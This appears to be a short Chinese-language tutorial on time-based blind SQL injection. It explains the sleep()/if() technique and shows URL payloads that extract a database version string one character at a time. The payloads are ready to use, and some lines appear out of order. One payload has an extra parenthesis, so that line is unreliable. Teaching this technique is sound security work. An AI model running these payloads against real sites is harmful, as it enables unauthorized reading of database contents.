延时注入是什么?
延时注入就是利用 sleep() 函数通过 if 语句判断所写的语句真假,如果为真返回我们想要的东西(例
如:数据库的长度,数据库的名字等)如果我们写的东西不符合则会利用 sleep() 函数让服务器休
眠。
固定的理解 sleep(x) 函数的意义是关键,就是个自行设定如果判断成功那么就会延迟 x 秒
延时注入的关键是 sleep 函数和 if 语句,通过 sleep 函数判断语句的真假, 为真延迟对应的秒数,为假就无
延迟 。
延时注入获取数据库版本号
substr 函数:截取字符
ascii :将截取的字符转为 ASCII 值进行判断
sleep :为真休眠,如果不为真, if 函数返回后面的值 1 , and 1 为真,所以会输出前面的内容。
判断版本号长度:
有延时,返回为真,版本号长度为 6 个字符
用 ASCII 码判断版本号第一个字符:
有延时,返回为真,第一个字符 ASCII 码为 53 ,即数字 5
用 ASCII 码判断版本号第二个字符:
?id=2' and if(length(version()))=6,sleep(5),1) --+
?id=2' and if(ascii(substr(version(),1,1))=53,sleep(5),1) --+
?id=2' and if(ascii(substr(version(),2,1))=46,sleep(5),1) --+
有延时,返回为真,第二个数字 ASCII 码为 46 ,即字符 .
用 ASCII 码判断版本号第三个字符:
有延时,返回为真,第三个字符 ASCII 码为 53 ,即数字 5
用 ASCII 码判断版本号第四个字符:
有延时,返回为真,第四个字符 ASCII 码为 46 ,即字符 .
?id=2' and if(ascii(substr(version(),3,1))=53,sleep(5),1) --+
?id=2' and if(ascii(substr(version(),4,1))=46,sleep(5),1) --+